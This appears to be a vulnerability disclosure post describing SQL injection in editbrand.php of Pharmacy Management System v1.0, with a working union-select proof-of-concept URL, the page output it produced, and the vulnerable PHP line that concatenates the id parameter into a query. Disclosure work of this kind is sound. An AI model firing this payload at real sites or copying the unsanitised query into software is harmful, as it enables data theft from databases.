



Join Yuque for a better reading experience

[Log In](#) to Yuque to collect this article or follow the author for updates

Join now



Pharmacy Management System v1.0 SQL Injection in editbrand.php

Introduction

There is a SQL Injection in editbrand.php in Pharmacy Management System v1.0.

I put all the php files to the web root path, so I use /editbrand.php, or it can also be placed at /dawapharma/dawapharma/editbrand.php etc.

POC

/editbrand.php?id=-1%27%20union%20select%201,(database()),3,4;--+

MA WARE

Tue Jun 28 2022 14:49:44 GMT+0800 (中国标准时间)

Edit Manufacturer Management

>	Manufacturer Name	ctf
>	Status	Available
>	<button>Update</button>	
>		
>		

the "ctf" is the database name I use, so it is a SQL injection that can echo the content.

POC:

```
1 /editbrand.php?id=-1%27%20union%20select%201,(database()),3,4;--+
```

Vulnerability Analysis

in the editbrand.php, the logic as follows:

```

editbrand.php X
dawapharma > dawapharma > editbrand.php
1  <?php include('./constant/layout/head.php');?>
2  <?php include('./constant/layout/header.php');?>
3
4  <?php include('./constant/layout/sidebar.php');?>
5  <!-- Author Name: Mayuri K.
6  | for any PHP, Codeignitor, Laravel OR Python work contact me at mayuri.in
7  | Visit website : www.mayurik.com -->
8  <?php include('./constant/connect.php');
9
10
11
12  $sql="SELECT * from brands where brand_id='".$_$_GET['id']."'";
13  $result=$connect->query($sql)->fetch_assoc();  ?>
14

```

the webpage use the id parameter as part of sql statement directly.

938c327cba19.png&title=Pharmacy%20Management%20System%20v1.0%20SQL%20Injection%20in%20editbrand.ph